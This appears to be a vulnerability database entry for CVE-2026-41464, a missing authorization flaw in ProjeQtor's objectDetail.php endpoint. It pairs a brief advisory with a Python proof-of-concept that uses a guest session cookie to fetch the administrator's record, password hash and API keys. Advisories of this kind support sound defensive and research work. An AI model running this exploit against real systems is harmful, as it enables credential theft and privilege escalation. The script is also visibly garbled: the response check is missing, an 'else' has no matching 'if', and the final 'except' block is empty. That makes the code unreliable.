CVE-2026-41464

Description

ProjeQtor versions 7.0 through 12.4.3 contain a missing authorization vulnerability in the objectDetail.php endpoint that allows authenticated users with guest-level privileges to retrieve sensitive data belonging to other users including password hashes and API keys. Attackers can bypass access controls by directly accessing the endpoint without ownership or role-based validation to extract administrator credentials and perform privilege escalation.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "http://vulnerable-host.com"
vulnerable_endpoint = "/objectDetail.php"

# Attacker's low-privilege session cookie (obtained after login as guest)
attacker_cookie = {"PHPSESSID": "valid_guest_session_id"}

# Target object ID (e.g., Administrator ID is usually 1)
# objectClass parameter might be needed depending on implementation
params = {
    "id": "1",
    "objectClass": "User"
}

try:
    # Send request using the low-privilege session
    response = requests.get(
        target_host + vulnerable_endpoint,
        params=params,
        cookies=attacker_cookie,
        timeout=10
    )

    # Analyze response for sensitive data leakage
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        # Check for password hash or API key in response

        else:
            print("[-] No obvious sensitive data found in response.")
    else:
        print(f"[-] Server returned status code: {response.status_code}")

except Exception as e:
